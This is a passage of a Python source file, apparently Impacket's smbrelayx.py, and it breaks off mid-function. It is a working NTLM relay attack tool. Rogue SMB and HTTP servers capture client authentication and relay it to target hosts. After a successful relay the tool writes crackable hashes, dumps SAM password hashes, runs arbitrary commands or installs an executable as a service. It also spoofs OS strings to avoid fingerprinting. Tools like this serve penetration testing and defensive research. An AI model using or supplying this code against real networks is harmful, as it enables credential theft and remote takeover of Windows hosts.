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smbrelayx.py
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smbrelayx.py
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#!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Module
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
# by cDc. It receives a list of targets and for every connection received it
# will choose the next target and try to relay the credentials. Also, if
# specified, it will first to try authenticate against the client connecting
# to us.
#
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
# functions and then using the smbclient portion. It is supposed to be
# working on any LM Compatibility level. The only way to stop this attack
# is to enforce on the server SPN checks and or signing.
#
# If the target system is enforcing signing and a machine account was provided,
# the module will try to gather the SMB session key through
# NETLOGON (CVE-2015-0005)
#
# If the authentication against the targets succeed, the client authentication
# success as well and a valid connection is set against the local smbserver.
# It's up to the user to set up the local smbserver functionality. One option
# is to set up shares with whatever files you want to the victim thinks it's
# connected to a valid SMB server. All that is done through the smb.conf file or
# programmatically.
#
import ConfigParser
import SimpleHTTPServer
import SocketServer
import argparse
import base64
import logging
import os
import sys
from binascii import unhexlify, hexlify
from struct import pack, unpack
from threading import Thread
from impacket import version
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NULL
from impacket.examples import logger
from impacket.examples import serviceinstall
from impacket.nt_errors import ERROR_MESSAGES
from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \
STATUS_MORE_PROCESSING_REQUIRED
from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \
NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey
from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \
SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \
SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data
from impacket.smb3 import SMB3
from impacket.smbconnection import SMBConnection
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER
from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
from impacket.dcerpc.v5.rpcrt import DCERPCException
try:
from Crypto.Cipher import DES, AES, ARC4
except Exception:
logging.critical("Warning: You don't have any crypto installed. You need PyCrypto")
logging.critical("See http://www.pycrypto.org/")
# Global Variables
# This is the list of hosts that have been attacked already in case -one-shot was chosen
ATTACKED_HOSTS = set()
class doAttack(Thread):
def __init__(self, SMBClient, exeFile, command):
Thread.__init__(self)
if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.__exeFile = exeFile
self.__command = command
self.__answerTMP = ''
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
global ATTACKED_HOSTS
if self.__exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
else:
from secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
return
try:
if self.__command is not None:
remoteOps._RemoteOperations__executeRemote(self.__command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
print self.__answerTMP
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
logging.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
class SMBClient(SMB):
def __init__(self, remote_name, extended_security = True, sess_port = 445):
self._extendedSecurity = extended_security
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
def neg_session(self):
neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity)
return neg_sess
def setUid(self,uid):
self._uid = uid
def login_standard(self, user, domain, ansiPwd, unicodePwd):
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd)
sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = ansiPwd
sessionSetup['Data']['UnicodePwd'] = unicodePwd
sessionSetup['Data']['Account'] = str(user)
sessionSetup['Data']['PrimaryDomain'] = str(domain)
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
logging.error("Error login_standard")
return None, STATUS_LOGON_FAILURE
else:
self._uid = smb['Uid']
return smb, STATUS_SUCCESS
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
if self._SignatureRequired is True:
if self.domainIp is None:
logging.error("Signature is REQUIRED on the other end, attack will not work")
else:
logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
def netlogonSessionKey(self, challenge, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" % self.domainIp)
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'] )
_, machineAccount = self.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')
try:
av_pairs = authenticateMessage['ntlm'][44:]
av_pairs = AV_PAIRS(av_pairs)
serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED
stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if len(self.machineHashes) > 0:
lmhash, nthash = self.machineHashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
serverChallenge = resp['ServerChallenge']
if self.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.machineHashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
ppp, 0x600FFFFF)
clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
# Now let's try to verify the security blob against the PDC
request = nrpc.NetrLogonSamLogonWithFlags()
request['LogonServer'] = '\x00'
request['ComputerName'] = serverName + '\x00'
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
'user_name'].decode('utf-16le')
request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
authenticator['Timestamp'] = 10
request['Authenticator'] = authenticator
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ExtraFlags'] = 0
#request.dump()
try:
resp = dce.request(request)
#resp.dump()
except DCERPCException, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
return e.get_error_code()
logging.info("%s\\%s successfully validated through NETLOGON" % (
domainName, authenticateMessage['user_name'].decode('utf-16le')))
encryptedSessionKey = authenticateMessage['session_key']
if encryptedSessionKey != '':
signingKey = generateEncryptedSessionKey(
resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
else:
signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
logging.info("SMB Signing key: %s " % hexlify(signingKey))
self.set_session_key(signingKey)
self._SignatureEnabled = True
self._SignSequenceNumber = 2
self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY)
return STATUS_SUCCESS
def sendAuth(self, serverChallenge, authenticateMessageBlob):
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if self._SignatureRequired:
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = self._uid
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = str(authenticateMessageBlob)
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None:
try:
errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)
except:
#import traceback
#print traceback.print_exc()
raise
return smb, errorCode
def sendNegotiate(self, negotiateMessage):
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if self._SignatureRequired:
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
logging.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
self._uid = smb['Uid']
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
class HTTPRelayServer(Thread):
class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile,
one_shot, returnStatus=STATUS_SUCCESS):
self.target = target
self.exeFile = exeFile
self.command = command
self.mode = mode
self.returnStatus = returnStatus
self.outputFile = outputFile
self.one_shot = one_shot
SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def __init__(self,request, client_address, server):
self.server = server
self.protocol_version = 'HTTP/1.1'
self.challengeMessage = None
self.target = None
self.client = None
self.machineAccount = None
self.machineHashes = None
self.domainIp = None
global ATTACKED_HOSTS
if self.server.target in ATTACKED_HOSTS and self.server.one_shot:
logging.info(
"HTTPD: Received connection from %s, skipping %s, already attacked" % (
client_address[0], self.server.target))
return
if self.server.target is not None:
logging.info(
"HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target))
else:
logging.info(
"HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0]))
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
def handle_one_request(self):
try:
SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
except:
pass
def log_message(self, format, *args):
return
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_AUTHHEAD(self, message = ''):
self.send_response(401)
self.send_header('WWW-Authenticate', message)
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.end_headers()
def do_GET(self):
messageType = 0
if self.headers.getheader('Authorization') is None:
self.do_AUTHHEAD(message = 'NTLM')
pass
else:
#self.do_AUTHHEAD()
typeX = self.headers.getheader('Authorization')
try:
_, blob = typeX.split('NTLM')
token = base64.b64decode(blob.strip())
except:
self.do_AUTHHEAD()
messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 1:
if self.server.mode.upper() == 'REFLECTION':
self.target = self.client_address[0]
else:
self.target = self.server.target
try:
self.client = SMBClient(self.target, extended_security = True)
self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
self.client.set_timeout(60)
except Exception, e:
logging.error("Connection against target %s FAILED" % self.target)
logging.error(str(e))
clientChallengeMessage = self.client.sendNegotiate(token)
self.challengeMessage = NTLMAuthChallenge()
self.challengeMessage.fromString(clientChallengeMessage)
self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage))
elif messageType == 3:
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1':
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = str(token)
clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'],
respToken2.getData())
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
# when coming from localhost
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
logging.error("Authenticating against %s as %s\%s FAILED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
self.do_AUTHHEAD('NTLM')
else:
# Relay worked, do whatever we want here...
logging.info("Authenticating against %s as %s\%s SUCCEED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.outputFile is not None:
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.outputFile)
# Target will be attacked, adding to the attacked set
# If the attack fails, the doAttack thread will be responsible of removing it from the set
global ATTACKED_HOSTS
ATTACKED_HOSTS.add(self.target)
clientThread = doAttack(self.client,self.server.exeFile,self.server.command)
clientThread.start()
# And answer 404 not found
self.send_response(404)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.end_headers()
return
def __init__(self, outputFile=None):
Thread.__init__(self)
self.daemon = True
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.exeFile = None
self.command = None
self.target = None
self.mode = None
self.outputFile = outputFile
self.one_shot = False
def setTargets(self, target):
self.target = target
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setReturnStatus(self, returnStatus):
# Not implemented yet.
pass
def setMode(self,mode, one_shot):
self.mode = mode
self.one_shot = one_shot
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
def run(self):
logging.info("Setting up HTTP Server")
httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode,
self.outputFile, self.one_shot)
httpd.serve_forever()
class SMBRelayServer(Thread):
def __init__(self, outputFile = None):
Thread.__init__(self)
self.daemon = True
self.server = 0
self.target = ''
self.mode = 'REFLECTION'
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.exeFile = None
self.returnStatus = STATUS_SUCCESS
self.command = None
self.one_shot = False
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','smb.log')
smbConfig.set('global','credentials_file','')
if outputFile is not None:
smbConfig.set('global','jtr_dump_path',outputFile)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path','')
self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.server.processConfigFile()
self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX,
self.SmbSessionSetupAndX)
# Let's use the SMBServer Connection dictionary to keep track of our client connections as well
self.server.addConnection('SMBRelay', '0.0.0.0', 445)
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
if self.mode.upper() == 'REFLECTION':
self.target = connData['ClientIP']
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
if smbData.has_key(self.target):
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
# Let's check if we already attacked this host.
global ATTACKED_HOSTS
if self.target in ATTACKED_HOSTS and self.one_shot is True:
logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
connData['ClientIP'], self.target))
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY
packet['Flags2'] = SMB.FLAGS2_NT_STATUS
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
errorCode = STATUS_NOT_SUPPORTED
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
return None, [packet], STATUS_NOT_SUPPORTED
else:
logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target))
try:
if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
logging.info("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
client = SMBClient(self.target, extended_security = extSec)
client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
client.set_timeout(60)
except Exception, e:
logging.error("Connection against target %s FAILED" % self.target)
logging.error(str(e))
else:
encryptionKey = client.get_encryption_key()
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
if encryptionKey is not None:
connData['EncryptionKey'] = encryptionKey
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
global ATTACKED_HOSTS
if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
respData = SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(smbCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
# Let's check if we already attacked this host.
global ATTACKED_HOSTS
if self.target in ATTACKED_HOSTS and self.one_shot is True:
logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
connData['ClientIP'], self.target))
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY
packet['Flags2'] = SMB.FLAGS2_NT_STATUS
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
errorCode = STATUS_NOT_SUPPORTED
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
return None, [packet], STATUS_NOT_SUPPORTED
# It might happen if the target connects back before a previous connection has finished, we might
# get to this function w/o having the dict and smbClient entry created, because a
# NEGOTIATE_CONNECTION was not needed
if smbData.has_key(self.target) is False:
smbData[self.target] = {}
smbClient = SMBClient(self.target)
smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
smbClient.set_timeout(60)
smbData[self.target]['SMBClient'] = smbClient
smbClient = smbData[self.target]['SMBClient']
clientChallengeMessage = smbClient.sendNegotiate(token)
challengeMessage = NTLMAuthChallenge()
challengeMessage.fromString(clientChallengeMessage)
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
# Let's store it in the connection data
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
smbClient = smbData[self.target]['SMBClient']
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'],
sessionSetupData['SecurityBlob'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
logging.error("Authenticating against %s as %s\%s FAILED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
# del (smbData[self.target])
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
logging.info("Authenticating against %s as %s\%s SUCCEED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
# Target will be attacked, adding to the attacked set
# If the attack fails, the doAttack thread will be responsible of removing it from the set
ATTACKED_HOSTS.add(self.target)
clientThread = doAttack(smbClient,self.exeFile,self.command)
clientThread.start()
# Now continue with the server
#############################################################
# Return status code of the authentication process.
errorCode = self.returnStatus
logging.info("Sending status code %s after authentication to %s" % (
ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
respParameters = SMBSessionSetupAndXResponse_Parameters()
respData = SMBSessionSetupAndXResponse_Data()
